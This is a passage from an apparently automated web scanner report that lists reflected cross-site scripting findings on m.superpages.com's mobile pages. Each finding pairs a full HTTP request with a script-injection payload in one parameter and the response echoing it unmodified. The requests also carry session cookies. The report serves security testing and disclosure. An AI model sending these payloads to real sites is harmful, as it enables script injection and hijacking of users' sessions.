This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&src=wap&mapWidth=&mapHeight=&endAddress.street=&endAddress.city=New+York&endAddress.state=NY&endAddress.zip=10010&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress.zip=07083&startAddress.longitude=-74303440&startAddress.latitude=40688891&x=40&y=8&reverse=19b045"><script>alert(1)</script>841e0c683e1 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=3C55CC74639DC5F4933534CF1A9582AD; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=6D638186D8BC55EF1CB691ED37E02A79; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:24:09 GMT
Content-Length: 24741


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
ss.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=8&reverse=19b045"><script>alert(1)</script>841e0c683e1&reverse=1">
...[SNIP]...

1.10. http://m.superpages.com/mobile/drivingdirections.sp [src parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the src request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ab02"><script>alert(1)</script>a816f63f33c was submitted in the src parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap8ab02"><script>alert(1)</script>a816f63f33c&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=8 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=1365EFC661218DA0E55EAD94DC1E5A77; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:21:18 GMT
Content-Length: 20972


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="drivingdirections.sp?src=wap&src=wap8ab02"><script>alert(1)</script>a816f63f33c&mapWidth=&mapHeight=&endAddress.street=&endAddress.city=New+York&endAddress.state=NY&endAddress.zip=10010&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highwa
...[SNIP]...

1.11. http://m.superpages.com/mobile/drivingdirections.sp [startAddress.city parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the startAddress.city request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b637b"><script>alert(1)</script>f175aed456f was submitted in the startAddress.city parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+Yorkb637b"><script>alert(1)</script>f175aed456f&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=8 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=EB84E1B9D1186B27F61F4DE8D522BE81; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:21:51 GMT
Content-Length: 21071


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="drivingdirections.sp?src=wap&src=wap&mapWidth=&mapHeight=&endAddress.street=&endAddress.city=New+Yorkb637b"><script>alert(1)</script>f175aed456f&endAddress.state=NY&endAddress.zip=10010&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress
...[SNIP]...

1.12. http://m.superpages.com/mobile/drivingdirections.sp [startAddress.state parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the startAddress.state request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a740"><script>alert(1)</script>57fce83aeb5 was submitted in the startAddress.state parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+York&startAddress.state=NY2a740"><script>alert(1)</script>57fce83aeb5&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=8 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=E160D69321398E2306ECB6F3B909A812; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:22:03 GMT
Content-Length: 21072


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="drivingdirections.sp?src=wap&src=wap&mapWidth=&mapHeight=&endAddress.street=&endAddress.city=New+York&endAddress.state=NY2a740"><script>alert(1)</script>57fce83aeb5&endAddress.zip=10010&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress.zip=07083&startAddr
...[SNIP]...

1.13. http://m.superpages.com/mobile/drivingdirections.sp [startAddress.street parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the startAddress.street request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ceb9"><script>alert(1)</script>ca438a345ff was submitted in the startAddress.street parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&mapWidth=&mapHeight=&startAddress.street=5ceb9"><script>alert(1)</script>ca438a345ff&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=8 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=933ACDD58EC9846BDB2A94819956C207; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:21:37 GMT
Content-Length: 21075


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="drivingdirections.sp?src=wap&src=wap&mapWidth=&mapHeight=&endAddress.street=5ceb9"><script>alert(1)</script>ca438a345ff&endAddress.city=New+York&endAddress.state=NY&endAddress.zip=10010&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddr
...[SNIP]...

1.14. http://m.superpages.com/mobile/drivingdirections.sp [startAddress.zip parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the startAddress.zip request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b81c0"><script>alert(1)</script>3bbdb7b19 was submitted in the startAddress.zip parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=10010b81c0"><script>alert(1)</script>3bbdb7b19&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=8 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=2C38CEE8618B4CC03BE08F37B1D08B4A; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:22:17 GMT
Content-Length: 21034


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="drivingdirections.sp?src=wap&src=wap&mapWidth=&mapHeight=&endAddress.street=&endAddress.city=New+York&endAddress.state=NY&endAddress.zip=10010b81c0"><script>alert(1)</script>3bbdb7b19&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress.zip=07083&startAddress.longitude=-743034
...[SNIP]...

1.15. http://m.superpages.com/mobile/drivingdirections.sp [x parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the x request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5e94"><script>alert(1)</script>fb0e041b403 was submitted in the x parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40c5e94"><script>alert(1)</script>fb0e041b403&y=8 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=AAF4F99148F3CFEFEEF7446F79B4F6E8; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:23:25 GMT
Content-Length: 20972


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
ress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress.zip=07083&startAddress.longitude=-74303440&startAddress.latitude=40688891&x=40c5e94"><script>alert(1)</script>fb0e041b403&y=8&reverse=1">
...[SNIP]...

1.16. http://m.superpages.com/mobile/drivingdirections.sp [y parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The value of the y request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9cfdf"><script>alert(1)</script>d13c3befe44 was submitted in the y parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/drivingdirections.sp?src=wap&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=89cfdf"><script>alert(1)</script>d13c3befe44 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=46E45B6849389E06808CA6605927BD39; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:23:33 GMT
Content-Length: 20970


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress.zip=07083&startAddress.longitude=-74303440&startAddress.latitude=40688891&x=40&y=89cfdf"><script>alert(1)</script>d13c3befe44&reverse=1">
...[SNIP]...

1.17. http://m.superpages.com/mobile/yellow.sp [longName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/yellow.sp

Issue detail

The value of the longName request parameter is copied into the HTML document as plain text between tags. The payload 44f2a<script>alert(1)</script>2d73a25af53 was submitted in the longName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/yellow.sp?src=wap&catId=473057&longName=Coffee44f2a<script>alert(1)</script>2d73a25af53 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/category.sp?src=wap&popular=urgent
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=68AE8996C12D71E21C7E90B521C14535; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=EB53DC565EC250CEA7662BD4F8706FBA; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:30:17 GMT
Content-Length: 17912


                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapf
...[SNIP]...
<h1>Coffee44f2a<script>alert(1)</script>2d73a25af53</h1>
...[SNIP]...

1.18. http://m.superpages.com/mobile/yellow.sp [longName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/yellow.sp

Issue detail

The value of the longName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2688b"><script>alert(1)</script>5fbd19062b9 was submitted in the longName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/yellow.sp?src=wap&catId=473057&longName=Coffee2688b"><script>alert(1)</script>5fbd19062b9 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/category.sp?src=wap&popular=urgent
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=68AE8996C12D71E21C7E90B521C14535; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=361CB88E9E5D7DEABDD3FB526754CE3A; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:30:15 GMT
Content-Length: 17947


                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapf
...[SNIP]...
%3A%2F%2Fwww.superpages.com%2Fbp%2FNew-York-NY%2FChock-Full-O-Nuts-L2127538585.htm%3FSRC%3Dwap%26lbp%3D1%26PGID%3Dyp232.8081.1301754616164.2116491009%26bidType%3DFLCLIK%26TR%3D77&index=0&omniCat=Coffee2688b"><script>alert(1)</script>5fbd19062b9&pageNo=null" accesskey="">
...[SNIP]...

1.19. http://m.superpages.com/mobile/yellow.sp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/yellow.sp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62f24"><script>alert(1)</script>d570b3888 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

